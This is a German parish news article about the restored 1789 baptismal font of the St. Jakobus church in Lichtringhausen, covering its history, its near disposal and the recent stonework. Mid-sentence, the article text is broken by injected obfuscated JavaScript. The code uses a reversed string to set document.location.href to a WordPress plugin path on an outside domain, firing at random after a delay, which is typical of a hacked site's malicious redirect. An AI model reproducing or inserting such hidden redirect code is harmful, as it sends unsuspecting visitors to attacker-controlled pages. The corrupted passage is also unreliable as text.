Taufstein der St. Jakobus-Kirche restauriert!
Der Taufstein in unserer St.-Jakobus d.Ä. – Kirche wurde komplett restauriert. Die schöne Struktur des Sandsteins kommt jetzt wieder voll zum Ausdruck. Auch die Inschrift und die Ornamente sind wieder deutlich erkennbar und prägen das Gesamtbild des Kunstwerkes.
Laut der Inschrift an dem Taufstein stammt dieser aus dem Jahre 1789 aus Wollersheim im Kreis Düren am Nordrand der Eifel. Im Zuge des Kirchbaus wurde von dem Stifter Domkapitular Prof. Dr. Alexander Schnütgen auch der Taufstein zur Ausstattung der Kirche gestiftet. Am 21. Dezember 1908 teilte der Schreiner August Feldmann dem Domkapitular mit, dass neben anderen Einrichtungsgegenständen auch der Taufstein in Lichtringhausen eingetroffen sei.
Zur damaligen Zeit wurden in katholischen Kirchen die Taufsteine in der nähe des Kircheneingangs aufgestellt um damit symbolisch für den Täufling mit dem Sakrament der Taufe den Zugang zur Kirche darzustellen. In Lichtringhausen wurde der Taufstein dementsprechend auch unter der Orgelbühne aufgestellt. Mit den Reformen des 2. Vatikanischen Konzils (1962 – 1965) wurde angeregt, den Taufstein näher in den Bereich des Altares zu bringen.
In den Jahren 1973 und 1974 wurde die St. Jakobus – Kirche umfassend restauriert. Dafür wurde sie vorübergehend geschlossen und die komplette Inneneinrichtung außerhalb eingelagert. Dem Taufstein wurde offensichtlich keine besondere Bedeutung beigemessen. Er lag hinter der Kirche und sollte wohl entsorgt werden. Ein aufmerksames Gemeindemitglied, damals auch Mitglied des Pfarrgemeinderates, verhinderte allerdings die Entsorgung und stellte den Taufstein mit Unterstützung eines weiteren kräftigen Helfers in dem Nebenraum auf der Orgelbühne ab. Die Maler, die den gesamten Innenanstrich der Kirche vornahmen, haben dann den Taufstein, ähnlich wie die Sockel der Seitenaltäre, mit einem grauen Deckanstrich überzogen. Dieser völlig unsachgemäße Anstrich wurde kurze Zeit später von den Restauratoren der Altäre bereits bemängelt. Eine von ihnen vorgeschlagene Restaurierung wurde dann allerdings nicht umgesetzt.
Mit dem Abschluss der Kirchenrestaurierung wurden die Kirchenbänke wieder aufgestellt und auch der Bereich unter der Orgelbühne mit Bänken versehen. Der Taufstein wurde dann, auch in Anlehnung an die Empfehlungen des Konzils, in den vorderen Kirchenbereich gebracht. Dort stand er zunächst mehrmals wechselnd vor dem linken und dem rechten Seitenaltar, bevor er seinen Stantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dort vor dem rechten Seitenaltar behielt.
Im Zuge der jetzigen Restaurierung wurde von dem Taufstein der unsachgemäße Anstrich abgebeizt. Einige schadhafte Stellen wurden ausgebessert. Die Arbeiten wurden durch die heimischen Firmen Steinmetzbetrieb Esslinger und Malerbetrieb Ortmann ausgeführt. So erstrahlt er wieder in seiner ursprünglichen Schönheit. In die Finanzierung der Restaurierung ist der Erlös des letzten Pfarrfestes aus 2019 eingeflossen.
In seiner langen Lebenszeit empfingen über ihm unzählige Täuflinge das Sakrament der Taufe. Wir hoffen, dass das auch in Zukunft noch lange so sein wird.
Interessierte können den Taufstein vor und nach den Gottesdiensten auch aus der Nähe betrachten.